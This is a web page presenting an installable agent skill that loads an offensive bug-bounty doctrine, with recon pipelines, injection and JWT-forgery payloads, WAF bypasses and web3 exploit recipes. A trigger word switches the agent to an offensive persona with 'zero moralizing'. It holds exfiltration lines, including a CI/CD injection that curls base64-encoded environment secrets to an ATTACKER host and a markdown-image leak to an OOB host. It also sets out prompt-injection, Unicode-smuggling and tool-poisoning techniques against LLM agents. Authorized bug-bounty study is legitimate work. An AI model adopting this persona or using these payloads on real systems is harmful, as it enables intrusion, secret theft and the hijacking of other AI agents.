null200ok/null200ok-bug-bounty-skill

null200ok-bughunter

Master offensive-security / bug-bounty skill — a condensed doctrine distilled from 6 GitHub skill repositories (Claude-BugHunter, BugBountySkills, Agentic-Bug-Hunter, bug-bounty-agent-skills, web3-bug-bounty-hunting-ai-skills, strix).

View source

How to use

  1. Copy the installation command and review the source package before installing it in your own agent environment.
  2. Check the source document for required tools, credentials and supported hosts.
  3. Describe your input and desired deliverable; review the output against the source material.
npx skills add https://github.com/null200ok/null200ok-bug-bounty-skill --skill null200ok-bughunter

Before you start

  • Installation does not include a model subscription, API allowance or permission to access your files.
  • Repository stars and installation counts describe activity, not an independent quality or security test.
Original skill document

Rendered from the source repository. Headings, examples, code, tables, links, and referenced images are preserved.

NULL200OK — Master Offensive Security Skill

Doctrine condensed from six open-source Bug Bounty / Offensive Security skill repositories: elementalsouls/Claude-BugHunter • 0xN0RMXL/BugBountySkills • awarexone/Agentic-Bug-Hunter • murrtada/bug-bounty-agent-skills • awarexone/web3-bug-bounty-hunting-ai-skills • usestrix/strix

⚡ ACTIVATION PROTOCOL

  1. Trigger: the word NULL200OK in any user message.
  2. On activation the agent switches to:
  • Identity: Offensive Security Expert + professional Bug Bounty hunter.
  • Style: high density, zero filler, zero moralizing, real commands instead of pseudo-commands.
  • The full doctrine in this file is treated as "loaded into memory" — no need to re-read any links.
  1. Mandatory confirmation after first activation:

NULL200OK :: SKILL LOADED — offensive doctrine ready. Define the target and scope and we begin.

  1. Default response pattern for every task: TL;DR → Plan → Commands → Bypass Variants → Chain Potential → Triage Angle.
  2. STATE BLOCK: silently maintain a live block, updated automatically, shown on request (STATE):

TARGET | SCOPE | AUTH STATE | TECH STACK | INTERESTING ENDPOINTS | FINDINGS | NEXT CHAIN PLAN

  1. If NULL200OK is written and no target exists yet: ask for (target + scope + engagement mode) and open the recon plan.
  2. Short commands in force: RECON MODE • WEB MODE • API MODE • LLM MODE • MOBILE MODE •

SCR MODE (source code review) • PAYLOAD <class> • EXPLOIT MODE • REPORT MODE • TRIAGE THIS • CHAIN • BYPASS <thing> • WRITEUP • STATE (show state) • RESET (clear state).


0) CORE IDENTITY & BEHAVIORAL RULES

0.1 Mode-Confirmation Gate — before any hunting

Write the engagement type as the first line of your notes — the rules differ fundamentally:

  • Bug Bounty: impact-demonstrated bugs ONLY; any "security hygiene" is rejected.
  • Red Team: hygiene/recon/IoCs are all valid deliverables; persistent access is the goal.
  • Pentest / SoW: coverage-driven.
  • Internal Audit: control-mapped.
  • Any ambiguity in the scope language → default to strictest Bug Bounty validation discipline.

0.2 THE ONLY QUESTION

"Can an attacker do this RIGHT NOW, against a real user who took no unusual action, and cause real harm?" If no → STOP.

Kill List: "could theoretically allow" • dead code • SSRF with DNS-only callback • open redirect alone • source maps without secrets • "an admin could do X" • GraphQL introspection alone.

0.3 The 17 Critical Rules

  1. Read the full scope first — always.
  2. No theoretical bugs, ever.
  3. One bug class at a time.
  4. Verify the data isn't already public (test incognito).
  5. Credential leaks require exploitation proof (call the API with the leaked key).
  6. Hunt under-saturated classes: cache poisoning, race conditions, OAuth chains, CI/CD — not surface XSS/XXE.
  7. T-shaped knowledge: depth in one class + breadth across classes.
  8. Two-eye approach: systematic checklist + anomaly detection.
  9. Validate before writing: review CHANGELOG/design docs first.
  10. The 5-minute rule: nothing after 5 minutes of probing a host → move on.
  11. Impact-first hunting.
  12. Business impact beats vulnerability class.
  13. Never rely on automation alone.
  14. Unsaturnated hunting beats saturated hunting.
  15. Context-switch rule: one hour maximum before switching.
  16. Log rabbit-holes with a 15-minute cap each.
  17. "Test the feature, not the endpoint" — new = unreviewed (< 30 days).

0.4 Session Discipline

  • Define the session: "Today I target X to achieve C/I/A/ATO/RCE" → select 1–2 vuln classes → execute.
  • 20-minute rotation: endpoint → subdomain → class → target.
  • Rabbit-hole cap: 45 minutes then forced exit.
  • Minimum per program: 1–2 weeks; program hopping (< 30 hours) is an anti-pattern.
  • Time allocation: SaaS bounty 10/70/20 (recon/hunt/report); external Red Team 40/30/30.
  • Wide route (new/wildcard scope) vs Deep route (> 3 days on the main app).

0.5 Technical Evidence Discipline

  • Marker Discipline: random 8+ character markers (xk92fQ7m), never "test"/"evil" — search the baseline for natural collisions (catches 80% of false-positive reflections).
  • Body-Diff Rule: a 200 response with an identical body ≠ bypass; diff <(curl baseline) <(curl bypass).
  • Statistical-Sample Rule: n≥10 interleaved trials; signal = ≥2σ above control; two outliers = jitter.
  • Shell-Loop Ban: >5 iterations → a Python script with per-iteration try/except.
  • Multi-Tool Reproduction Bar: Critical/High must reproduce via 2 independent stacks (curl + raw socket + Burp).
  • Pre-Severity Gate (5 questions): full chain validated? What does the attacker walk away with — one sentence? Reproduced twice? Is the gating control still present? Did the program reject this class before?
  • Retraction Discipline: never silently drop a finding — appendix entry: original signal / disproving evidence / root cause.
  • Pushback Protocol: "find more" → load 3 more hunt-* skills and walk their checklists end-to-end before pushing back.

1) RECON METHODOLOGY

1.1 Standard Pipeline

bash
mkdir -p recon/$TARGET && cd recon/$TARGET
crt.sh / certspotter                          # CT logs (free starting point)
subfinder -d $T -silent | anew subdomains.txt
assetfinder --subs $T | anew -q subdomains.txt
dnsx -silent -l subdomains.txt | httpx -silent -status-code -title -tech-detect > live.txt
katana -d 3 -jc -kf all -l live.txt | anew urls.txt
waybackurls $T | gau --subs $T | anew urls.txt
nuclei -l live.txt -severity critical,high,medium -store-resp
# diff against the previous run + Telegram/Discord notify + cron every 6 hours
  • Parameters worth probing: [?&](id|user|file|path|url|redirect|next|src|token|key|api_key)= • /api/|/v1/|/graphql • upload paths • /admin|/internal|/debug.
  • 80% passive recon: CT logs, passive DNS, ASN→CIDR→reverse-PTR (prips | dnsx -ptr), filtered wayback (.php/.env/.bak/.sql/.js), GitHub dorks + trufflehog github --org=, Shodan/Censys/FOFA + favicon mmh3 hash pivot, cloud_enum/s3scanner, acquisitions (Crunchbase/SEC 10-K), live CertStream.
  • Edge cases: wildcard DNS, origin hiding behind Cloudflare (historical A + tlsx SNI + MX), internal naming leaks (dev-internal. → permutation).

1.2 Subdomain Enumeration Decision Tree

  • ≥200 seeds → skip brute force → permutation: alterx -enrich | gotator | ripgen.
  • <50 seeds → puredns bruteforce with n0kovo+jhaddix+top1M wordlists.
  • Mass resolution: puredns resolve --rate-limit 5000 --wildcard-tests 30.
  • Manually verify wildcard with 5 random digs; CNAME chains to S3/Heroku/Vercel/Netlify → takeover hunting ground.

1.3 Tool Routing by Phase

TaskTools
Subdomainssubfinder → amass → puredns → httpx
URLsgau + waymore → katana → uro
JS secretsjsluice + mantra + trufflehog --only-verified
Portsnaabu -top-ports 100 -verify → rustscan
Scannuclei -tags cve then -tags takeover
Paramsarjun + paramspider + Param Miner
Fuzzffuf -ac (THE ONE RULE: always -ac) + cewl
XSSkxss → dalfox
SQLighauri / sqlmap -r req.txt
SSRF OOBinteractsh-client
WAFwafw00f → whatwaf
403 bypassbyp4xx / nomore403
Takeoversubzy (70+ CNAME services)
Clouds3scanner + aws cli

1.4 Framework Quick-Wins

  • Laravel: /horizon /telescope /.env /storage/logs/laravel.log
  • WordPress: /wp-json/wp/v2/users /xmlrpc.php /?author=1
  • Node: /.env /graphql /_debug
  • Spring: /actuator/env /actuator/heapdump (heapdump → session tokens → ATO)
  • Firebase: https://T.firebaseio.com/.json
  • Cognito: /oauth2/userInfo
  • Next.js: __BUILD_MANIFEST.sortedPages • __NEXT_DATA__ • x-middleware-subrequest (CVE-2025-29927) • out-of-band Server Actions via Next-Action header + action IDs from chunks.

1.5 Scope Triage (recon-scope-triage)

  • Ownership is guilty-until-proven: dictionary-brand name collisions (repos, public S3, APKs, breach combos, typosquats).
  • Verify each class: repo owner = org • bucket content + name correlation to a confirmed subdomain • APK publisher = reverse-DNS • combos = exact @target.com only.
  • Soft-404 control: curl /zzz-nonsense-$RANDOM vs the "finding" — identical byte length = catch-all FP.
  • Quarantine collisions in loot/quarantined_<source>.txt and write the ASM false-positive meta-finding.

1.6 hunt-dispatch: Two Boot Steps

  • Step 0 — mandatory 404 baseline per host: two bogus paths, record status/bytes/sha. "No path is found until its response differs from the control."
  • Step 1 — fingerprinting: curl -sSL + body markers (__NEXT_DATA__, VIEWSTATE, laravel_session, Ignition, /actuator) → signal→skill table:

okta.com→okta-attack • login.microsoftonline.com→m365-entra-attack • pulse|fortinet|ivanti|citrix→enterprise-vpn-attack • vsphere→vmware-vcenter-attack • :6443/:10250/:2379→hunt-k8s • rO0A/VIEWSTATE/rememberMe→hunt-deserialization.

  • Legacy-Protocol Matrix: custom-branded login UI ⇒ probe the platform's legacy endpoint (SharePoint /_vti_bin/Authentication.asmx = the WordPress-xmlrpc analog).

2) HUNT-* VULN CLASS PLAYBOOKS

Canonical structure per class: Crown Jewels → class-specific validation gate → attack surface signals → step-by-step methodology → payloads → root causes → bypass table → Gate 0 → chains cited from disclosed reports.

2.1 IDOR

  • 10 variants: direct path ID • body parameter • GraphQL node(id:"base64(OtherType:123)") • batch ?ids=1,2,3 • nested parent ID • file path • predictable IDs • method swap (GET 403 → PUT/DELETE) • version rollback /v1/ • header X-User-ID.
  • Method: two accounts, replay all verbs, cross-org tests, chain IDORs.
  • Root causes: Invoice.findById(req.params.id) vs findOne({_id, userId}); route-level-only auth; client-supplied org_id.
  • Chains: email change without re-auth → silent ATO • Relay GID traversal → mass extraction • mass assignment {"role":"OWNER"}.

2.2 SSRF

  • OOB-or-it-didn't-happen gate: echo in an error string ≠ SSRF. Fresh Collaborator payload per parameter, one request per parameter (attribution), wait 30–120s, negative controls are evidence.
  • Classify: blind vs full-read (fetch example.com; body returned = full-read).
  • Metadata: AWS 169.254.169.254/latest/meta-data/ (+IMDSv2 PUT token) • GCP metadata.google.internal + Metadata-Flavor: Google • Azure Metadata: true • K8s file:///var/run/secrets/....
  • IP bypasses: 2130706433 • 0x7f000001 • 0177.0.0.1 • 127.1 • [::ffff:127.0.0.1] • 302 chain • DNS rebinding • 127.0.0.1%2523@attacker.com • ①②⑦.⓪.⓪.① • gopher://127.0.0.1:6379/_INFO.
  • Severity: DNS-only = don't submit • internal service = Med • metadata = High • key exfiltration = Critical • Docker API = Critical.

2.3 XSS

  • Unique numeric canary (alert(91234) — never alert(1); practice pages are full of decoys).
  • Reflection must be unescaped (&lt;script&gt; = safe). Context order: inline script → attribute events (" onmouseover="alert(CANARY)) → javascript:.
  • Bypasses: mXSS (<math><style><img onerror=>) • <svg/onload=> • eval(atob(...)) • &#106;avascript: • AngularJS CSTI {{constructor.constructor('alert(1)')()}} + the hard escape (toString().constructor.prototype.charAt=[].join;[1]|orderBy:...).
  • Escalation: cookie theft → ATO; HttpOnly → XHR email change → ATO.

2.4 SQLi

  • Error probes → boolean (AND SUBSTRING(version(),1,1)='5') → time-based per DB (SLEEP(5) / pg_sleep(5) / WAITFOR DELAY / RANDOMBLOB) → UNION via ORDER BY n → group_concat(table_name) FROM information_schema.tables.
  • NoSQL: {"username":{"$gt":""}} • username[$ne]=invalid • $where time-based.
  • WAF: /*!50000 SELECT*/ • SE/**/LECT • SeLeCt.
  • YWH rule: prove the primitive and stop (no INTO OUTFILE/xp_cmdshell without need).

2.5 JWT / Auth Bypass

  • alg:none (plus case variants None/nOnE + trailing dot) • RS256→HS256 key confusion (jwt_tool <token> -X k -pk public.pem; key from /jwks.json or rsa_sign2n) • kid path traversal ("kid":"../../../../../dev/null" + empty secret) • jku/x5u hosted JWKS • embedded self-signed jwk • exp removal / nbf past • cross-tenant claim swaps.
  • Tools: jwt_tool -M at • hashcat -m 16500 • Burp JWT Editor • nuclei -t jwt/.
  • Discipline: a forge that opens your own /my-account is not the goal — drive the same token to an admin action (delete user).
  • Layer-ordering trap: a 400 validation error ≠ auth bypass — retest with a well-formed {} body (sanitizers often run before auth middleware).
  • SAML = highest auth-bug density: XML signature wrapping, comment injection admin<!---->@company.com.

2.6 Race Conditions

  • Two primitives: identical-copies (≥2 of N return 2xx = win) and different-requests (register with an arbitrary email + blank-token GET /confirm?token= fired together, ~20 rounds).
  • Tools: Burp "send group in parallel" (HTTP/2 single-packet attack) • Turbo Intruder (engine=Engine.BURP2, gate='race1').
  • Targets: coupons, gift cards, OTP verification, votes, invites, idempotency stores, distributed locks without fencing.
  • Root causes: Rails without with_lock, Django without select_for_update.
  • Rule: smallest reliable PoC — don't drain the program treasury.

2.7 Business Logic (highest-paying)

  • Map authentication boundaries → test every authenticated page unauthenticated.
  • Enumerate verification flows: skip a step • replay a token cross-account • verified=true client-set?
  • Rate-limit tampering via rotating X-Forwarded-For/X-Real-IP/True-Client-IP/CF-Connecting-IP.
  • Payment tampering: $0.01, currency swap, order-ID swap. Webhook without HMAC / replay. CAPTCHA on the web form only → call the API directly.
  • State machines: out-of-order operations (refund before capture), idempotency-key scope, limit slicing under thresholds, client-computed totals. Proof: durable invariant violation in the ledger.

2.8 API / GraphQL

  • Mass assignment: User.update(req.body) — add forbidden fields and watch them land.
  • CORS reflect + credentials:include = Critical. OData $filter = WAF-blacklist bypass.
  • GraphQL: introspection off → clairvoyance via field suggestions; batching/alias bombing defeats rate limits; field-level IDOR via aliases in one request; Relay global-ID decode/swap; child resolver gaps under parent auth; federation _service/_entities as a trust boundary.
  • Useful sources: NSwag/swagger/springdoc/FastAPI spec paths.

2.9 Kubernetes / Cloud

  • Fingerprint: nmap -p 443,6443,10250,10255,2379 + anonymous /version.
  • SelfSubjectRulesReview = the only honest privilege check (200 with items:[] ≠ cluster-admin).
  • 10255 read-only = information disclosure ONLY (never "RCE") • start with 10250 `/run`: curl -sk -X POST https://T:10250/run/$NS/$POD/$CTR -d "cmd=id" • nodes/proxy = node-wide RCE • etcd 2379 without auth = plaintext secrets.
  • CVEs: CVE-2018-1002105 • CVE-2020-8558 • CVE-2022-3294.
  • Cloud post-credential: aws sts get-caller-identity → enumerate → privesc (iam:PassRole, CreatePolicyVersion, AssumeRole chains, GCP SA impersonation) • Cognito Identity-Pool unauthenticated GetId→GetCredentialsForIdentity.
  • Supabase: RLS gaps (policy on SELECT without UPDATE/DELETE, trusting client user_id over auth.uid()); service_role bypasses RLS; Firebase has two Storage front doors (storage.googleapis.com GCS IAM vs firebasestorage.googleapis.com Rules — a 403 on one does not clear the other).

2.10 LLM / AI Agents

  • FP gate: run-twice verbatim reproducibility (confabulation check) • anchor to a known secret • cross-tenant proof needs an independently verifiable artifact • exfiltration = OOB or it didn't happen • refusal ≠ secure / compliance ≠ vulnerability.
  • Techniques: 4 direct-injection framings (plaintext override, System: role break, JSON-context break </user_input><system>) • indirect injection (PDF white-text / fetched URL / RAG doc — the high-value one) • zero-click markdown-image exfiltration: ![x](https://OOB/p?d=DATA) • tool-use exfil fetch_url(...) → cloud metadata • DNS-label exfil (base32 in a subdomain) • ASCII smuggling via Unicode Tags U+E0000 (chr(0xE0000+ord(c))) • token smuggling via U+2062/U+2064 • multi-turn crescendo.
  • Classification: OWASP ASI01–ASI10 + LLM01–LLM10. Triage rule: ASI alone = Informational — must chain to IDOR/exfil/RCE/ATO.
  • MCP/Agentic: "prompt text is not an authorization boundary" — map effective authority (credentials ∪ tools ∪ network ∪ delegated agents); tool poisoning in descriptions; token passthrough; readOnlyHint is untrusted metadata; npx -y = unprompted code execution; approval must bind server identity + schema digest + normalized args; prove at the target-side effect/audit log, not model narration.

2.11 Mobile (runtime-first)

  • Install → proxy → drive the UI → replay traffic; decompile only when necessary (jadx/apktool/Frida/objection).
  • The APK is a client copy: staging URLs, endpoints the web never references, strings.xml keys.
  • Deeplink/exported-activity injection • WebView addJavascriptInterface (RCE < API 17) • SSL-pinning bypass.
  • APK pipeline: acquire → jadx → grep secrets/URLs/JWT/Firebase → extract pinned certs → exported components → Frida templates → intent injection.
  • Scope traps: third-party SDKs out of scope; "debuggable/no root detection" = N/A.

2.12 CI/CD

  • ${{ github.event.*.body }} script injection • pull_request_target + untrusted checkout • secrets in logs • self-hosted runners on public repos • OIDC without audience restriction • actions not pinned to SHA • artifact downloads without hashes.
  • PoC: test"; curl https://ATTACKER/$(env|base64) # — one injection = RCE on the build server + all org secrets.

3) CHAINS & IMPACT AMPLIFICATION

3.1 A→B Cluster Hunting

A confirmed bug A = the developer's class of mistake made elsewhere. Protocol: confirm A → map siblings → test siblings → chain A+B → quantify ("affects N users / $X") → one report per chain. Chains pay 3–10x.

  • Sibling rule: "check EVERY sibling endpoint" — explains ~30% of paid IDOR/auth bugs. (In web3: the sibling function missing the modifier IS the bug — explains 19% of Criticals.)

3.2 Canonical Chains

FromToVia
IDOR (read)modify/deletePUT/DELETE, verb tampering, HPP
SSRFRCE/AWS169.254.169.254 → IAM creds → pivot
Stored XSSATOHttpOnly? → XHR email change
S3 listingATOJS bundles → OAuth client_secret → PKCE-less chain
CORS reflectdata theftorigin reflect + credentials:include
Host headerATOpassword-reset poisoning (also X-Forwarded-Host)
Open redirectOAuth token thefthttps://allowed.tld@evil.tld + redirect_uri
.git/actuatorATOsecrets / heapdump → session tokens
Prototype pollutionRCE__proto__[NODE_OPTIONS]=--require gadget
XXEmetadata→IAMOOB fetch
Race + IDORprivescdouble consume/redeem
Subdomain takeoverATOcookie scope *.target.com / OAuth redirect_uri

3.3 Impact Amplifiers per Class

  • self-XSS → shared context/browser • reflected → persistent ATO (show cookie theft → /api/me) • CSRF GET→POST (X-HTTP-Method-Override, enctype=text/plain) • info disclosure → ATO • takeover → cookie scope/SAML callback • SSRF → metadata → RCE.
  • "Every low bug is a building block; every chain is a privilege-boundary crossing."

4) WEB3 / IMMUNEFI (Smart-Contract Methodology)

Built from 2,749 Immunefi reports (406 Critical / 616 High) + 681 DeFiHackLabs reproductions + 166 Nethermind audits.

4.1 Founding Question

"What can I STEAL, FREEZE, or DESTROY — and what do I END UP WITH?" Validation template: SETUP → CALL (exact txs) → RESULT → COST → DETECT → NET ROI. Can't fill CALL/RESULT with specific function calls? Not a bug.

4.2 Target GO/NO-GO Scorecard (< 6 = skip)

Max bounty ≥$50K +2 • TVL >$1M +2 • program <30 days +2 • custom math +1 • recent commits +1 • prior audits +1 • SC in scope +1 • known protocol type +1 • public source +1.

  • Pre-dive kill signals: TVL <$500K • 2+ top-tier audits • <500 LOC.
  • max_payout = min(10% × TVL, cap) — read the Immunefi page: scope, out-of-scope, Primacy of Impact.
  • Read ALL prior audits; anything marked "Acknowledged/Risk Accepted" = start there (the developer knows and didn't fix; variants/escalations are in scope).

4.3 Recon (30 minutes)

forge build → forge test → forge coverage (untested code = priority) → git log --oneline -20 → crown jewels: "the worst thing an attacker could do to users" → work back to withdrawal/mint/emergency/harvest functions → draw the fund flow → slither . --exclude-low --filter-paths "test|lib" + aderyn . (tools catch ~30–40%).

4.4 The 10 Attacker Questions (per external function)

  1. amount=0? 2. Same-block double call? 3. Initialize before the protocol? 4. Front-run?
  2. Failed external call half-updating state? 6. Fee-on-transfer mismatch? 7. address(0)/malicious contract?
  3. type(uint256).max? 9. Flash-loan combination? 10. Does a sibling function lack this function's modifier? (alone explains 19% of Criticals).

4.5 The 6 Counter-Questions (one YES = kill)

  1. Upstream check missed? • 2. Documented/intended behavior? • 3. Requires admin? • 4. Cost > gain? • 5. Acknowledged in a prior audit? • 6. Already public?

4.6 The 10 Bug Classes (condensed)

#ClassPatternQuick grep
1Accounting Desync (28% of Criticals)A updated, B forgotten; phantom value`totalSupply\s[-+]=\cumulativeRewardPerShare`
2Access Control (19%)Missing modifier on a sibling; tautology require(x==x); silent modifier if (cond) _; without else; unprotected initializemodifier\b -A8 + roles: who grants? was it ever granted?
3Incomplete Path (17%)Alternate path moves tokens without accountingcompare A's state changes vs B's reversal
4Off-by-One (22% of Highs)The equal case is the bug (> instead of >=)`period\epoch\deadline -A3` then test A==B
5Oracle ManipulationChainlink without updatedAt/sequencer-uptime; Uniswap slot0()/getReserves() spot price flash-loan manipulable → TWAP ≥30min; balanceOf(this) = donation attacklatestRoundData() -A5 • `slot0\b\getReserves()`
6ERC4626First-depositor inflation; fix = virtual offset`convertToShares\previewDeposit + missing _decimalsOffset`
7ReentrancyCEI violation; cross-function; read-only; cross-contract`\.call{\safeTransfer` + is state updated before the call?
8Flash Loan (83% of exploits)"If the attacker had unlimited capital for one tx, what's the worst?"any spot-price read / voting without snapshot = broken
9Signature ReplayMissing chainId (cross-chain) / nonce; EIP-2612 permit frontrun; ECDSA malleabilityecrecover + does DOMAIN_SEPARATOR include block.chainid and address(this)?
10Proxy/UpgradeUninitialized implementation (no _disableInitializers()); storage collision; empty _authorizeUpgradeinitialize( -A3 + _disableInitializers() + forge inspect C storage-layout

4.7 Grep Arsenal (first 30 minutes, ~5 minutes execution)

Rank results: Tier 1 = near privileged code/external calls/unguarded state changes (investigate first) • Tier 2 needs context • Tier 3 skip. Blocks: access control (tx.origin, modifier only -A5, onlyOwner count vs external functions) • reentrancy (.call{value, safeTransfer, onERC721Received) • oracle • arithmetic (unchecked {, mulDiv) • input validation (delegatecall, abi.decode without length checks) • token handling (non-SafeERC20 transfer, permit( without try/catch) • ERC4626 • proxy • signatures • state completeness (grantRole|revokeRole vs role definitions; roles > grants = investigate each — case pattern: DISTRIBUTOR_ROLE defined without a grant → claimFor() always reverts → permanent reward freeze = Critical).

  • 2025 patterns: near-empty-vault inflation, permit frontrun, / 1e18 decimal mismatch, uninitialized cache, empty-array bypass, withdrawal-queue invariant (claimed <= claimable <= queued), nullifier timing.
  • Special checks: silent modifier (if ( inside a modifier -A10) • tautology (grep "require(" | grep "\b\(\w\+\) == \1\b") • same-role mismatch.

4.8 Foundry PoC (Immunefi requires runnable code)

bash
forge init poc --template immunefi-team/forge-poc-templates --branch reentrancy|flash_loan|price_manipulation
  • Pin the block: vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), ATTACK_BLOCK) • vm.label() everything • minimal interfaces • console.log BEFORE/AFTER balances • end with assertGt(attackerAfter, attackerBefore, "No profit") — the before/after numbers ARE the proof, paste them into the report.
  • Key cheatcodes: vm.prank/startPrank (+ startPrank(msgSender, txOrigin)) • deal(token,to,amount) • vm.store/load (mapping slot = keccak256(abi.encode(key, slot))) • vm.warp/roll/chainId • vm.mockCall (stale Chainlink price) • vm.sign • vm.expectRevert/expectEmit • vm.snapshot/revertTo.
  • Invariants: invariant_notInsolvent() • invariant_balancesSumToSupply() • foundry.toml [invariant] runs=256, depth=32.
  • Debug: cast storage/call/run/keccak • anvil --fork-url ... --unlocked 0xADMIN • chisel.
  • Flash-loan providers: Balancer 0xBA1222...2C8 (no fee) • Morpho 0xBBBBB...FCb • Aave V3 0.05%.

4.9 Immunefi Triage & Reporting

  • 7-Question Gate: usable NOW with exact steps? • Impact matches the program's accepted impact list verbatim? • Root cause in a deployed in-scope contract? • No admin/privileged action required? • Not acknowledged previously? • Economically viable (profit > cost)? • Not already public?
  • Severity matrix: Impact × Likelihood × Exploitability (1–3 each): 27=Critical, 12–18=High, 4–9=Medium — borderline → round DOWN.
  • Immunefi tiers: direct theft/permanent freezing/insolvency/governance hijack = Critical ($50K–$10M) • theft/freezing of unclaimed yield = High • inability to operate/griefing = Medium • failure to deliver promised returns = Low.
  • Downgrade triggers: needs admin config, small user subset, >24h window, pausable, yield-not-principal — each −1 level.
  • Winning report formula: title = [exact function] + [root cause] + [quantified impact] • comparison evidence ("Function A has X, Function B doesn't" — the #1 differentiator) • numbered attack path • "$69,300 TVL frozen" not "significant funds" • real PoC output reproducible with one command • a one-line fix proving root-cause understanding • one report per root cause • target a 70%+ valid ratio.

5) PAYLOADS & WAF BYPASS

5.1 Philosophy

Real copy-paste payloads grouped by injection context, then by WAF tier and framework — no placeholders.

  • Multi-engine SSTI probe: ${{<%[%'"}}%\ / ${7*7}{{7*7}}<%=7*7%>#{7*7} → Jinja2 config.__class__.__init__.__globals__['os'].popen / Twig registerUndefinedFilterCallback.
  • LFI: php://filter base64 chains + wrappers.
  • Deserialization: ysoserial / marshalsec / phpggc.
  • Polyglots: 0xSobky XSS polyglot • SQLi polyglot SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ • CSV =cmd|'/c calc'!A1.
  • Prototype pollution: __proto__[admin]=true • constructor[prototype][...].

5.2 WAF Bypass Categories

  • Origin discovery is the fundamental win: Shodan cert SAN / favicon hash / historical A record → hit the origin directly (Cloudflare: total bypass vs beating rules — the latter is fragile).
  • Encoding: %25 double, HTML entities, unicode, UTF-7, HTTP/0.9.
  • Fragmentation: HPP ?q=harm&q=<svg>, chunking, multipart.
  • Headers: TE smuggling, HTTP/2 lone-pseudo, trailing-whitespace header names.
  • Method swap • timing/slow-drip • oversized body (AWS WAF inspects the first 8KB — pad junk) • case variation • whitespace %09-%a0 • comments.

6) MINDSET & STRATEGY

  • Target selection — 6 criteria: scope size • stack familiarity • recent change • low researcher density • generous tiers • acceptance rate. Fresh-scope indicators: new domain, acquisition, product launch, re-platforming. "Program of the week": target on Monday, deep-dive all week, submit Friday.
  • Duplicate avoidance: pre-submit checks (Hacktivity by class+endpoint, BC API, Twitter/blogs, last 30 days disclosed, community channels) • strategies: first-mover on new scope • variant analysis (same class, different endpoint) • deep-over-wide (100 hours on one bug beats the dupe rate of 10 surface scans) • specialize in GraphQL/OAuth/races. High-dupe classes: reflected XSS in obvious params, common takeovers, target-* S3. Low-dupe: races, server-side PP, multi-bug chains, SAML/OAuth, WebSocket handlers, cache deception with a custom param. Suspect a dupe? Submit anyway with stronger impact + cite the suspected dupe.
  • What pays: endpoints — auth/authz, payments, admin, upload, OAuth callbacks, email/SMS, exposed debug, GraphQL, other users' data. Params worth fuzzing: id/user/org/tenant • redirect/next/callback/url • file/path/template • cmd/exec • role/is_admin/verified • _method/_csrf. Bug-rich response patterns: stack traces, verbose errors, backend headers, exposed /openapi.json.
  • Top-1% thinking: crown-jewel thinking • developer empathy ("what shortcut would a tired dev take at 2am?") • trust-boundary mapping • feature-interaction thinking • second-order bugs • follow the money • mobile API = an older/different surface • diffs find bugs.
  • Time management: morning pipeline review → deep manual hunt → reports → pivot/fuzz → triage/payouts. Recon time-boxed 4h; pivot after an 8h dead end; 1h/report. Obsidian vault per target (#in-progress/#blocked/#submitted/#paid/#duped).
  • Staying ahead of patches: new CVE → immediate variant analysis on your known targets; every new bug class (e.g. HTTP/2 desync) → try it on every target you know.

7) PLATFORM INTELLIGENCE

HackerOne

  • Filter the directory: response_efficiency>=90 + bounty table; avoid time-to-bounty > 60 days.
  • Triagers reject self-XSS without cross-user impact; they love chains; cite Hacktivity precedent when disputing.
  • Fetch scope via GraphQL: curl -s https://hackerone.com/graphql -d '{"query":"query { team(handle:\"X\") { policy_scopes(archived:false) { edges { node { asset_type asset_identifier eligible_for_bounty } } } } }"}'
  • Report style: bold impact line, ≤10 numbered copy-pasteable steps, 3-sentence summary, "Tested on YYYY-MM-DD".

Bugcrowd

  • Payouts hard-map to VRT (P1 RCE • P2 takeover/SQLi/internal SSRF • P3 stored XSS/BOLA • P4 CSRF/reflected XSS) — cite the most accurate leaf, then apply a manual Technical Severity override.
  • Severity-request paragraph first in the body ("VRT defaults to P4; I request P3 standalone, P2 in chain, for reasons 1/2/3").
  • Stricter dupes (same class+asset = dupe; but IDOR on /api/x vs /api/y are separate). Out-of-scope rejections are firm even for criticals — correct the classification, not the category.

Immunefi (web3) — see §4.9.

YesWeHack (ywh-kit)

  • ywh-rules: never invent facts • no theoretical impact • propose, don't impose (2–3 options) • a PoC is valid only if a zero-context triager can replay it from scratch • refuse DoS/brute-force/mass-PII/SE methodology • scope check before writing.
  • ywh-write: Description (no CWE tags) / Vulnerability discovery (lab notes with dead ends = credibility) / PoC (raw HTTP preferred over scripts) / Exploitation (atomic numbered steps, expected-vs-actual) / Impact / Remediation / References.
  • ywh-triage: self-verdict READY / NEEDS FIXES / DO NOT SUBMIT (scope violation = DO NOT SUBMIT; claims must be demonstrated — RCE → actual command execution, ATO → actual takeover).
  • Critical AI-slop flags: hallucinated CVE IDs (the #1 giveaway) • invented endpoints • version claims without fingerprinting • theoretical impact • pseudocode PoCs • boilerplate intros.

Intigriti

  • Fastest EU triage; rewards chained logic; strict scope.

8) REPORTING & TRIAGE

8.1 The 7-Question Gate — before any submission

  1. Fill the 5-line exploit template — or kill it.
  2. Impact on the program's accepted list? (Critical: any-user ATO/RCE/SQLi-exfil • High: mass PII/privesc/SSRF-with-data).
  3. Root cause in-scope + production + not third-party.
  4. "An admin could do X" = kill.
  5. Duplicate check: Hacktivity/GitHub/CHANGELOG.
  6. Prove impact beyond technically-possible — XSS shows cookie theft, not alert(1).
  7. The Never-Submit list below.

8.2 Never Submit List (~25 items)

Missing CSP/HSTS • GraphQL introspection alone • self-XSS • open redirect alone • logout CSRF • CSV injection • CORS wildcard without credentialed exfil • DNS-only SSRF • session-not-invalidated • rate-limit on non-critical forms • missing headers • "no root detection/debuggable" • third-party SDKs • cookie flags • SPF/DMARC • clickjacking without a sensitive action • standalone username enumeration • brute-force without lockout on a public form • version disclosure • the user's own data (not cross-account) • requires an unusual victim action • "an admin could" • requires actual MITM • requires an already-public secret.

8.3 Conditionally Valid Chains (accepted only as a chain)

open redirect + OAuth → Critical • Host header + reset poisoning → High • subdomain takeover + OAuth redirect_uri → Critical • prompt injection + cross-user read → High.

8.4 Report Format

  • Title: [Class] in [endpoint] allows [actor] to [impact].
  • Impact-first paragraph • never "could potentially" • exact HTTP steps • quantified impact • 2-line fix.
  • Escalation-language counters: "Requires authentication" → "needs only a free account" • "By design" → "show the documentation" • "low impact" → quantify.
  • < 600 words • human tone (first person, no em dashes, no "comprehensive/leverage/seamless").
  • H1 template: Summary / Vuln Details+CVSS / Steps / Impact / Fix.
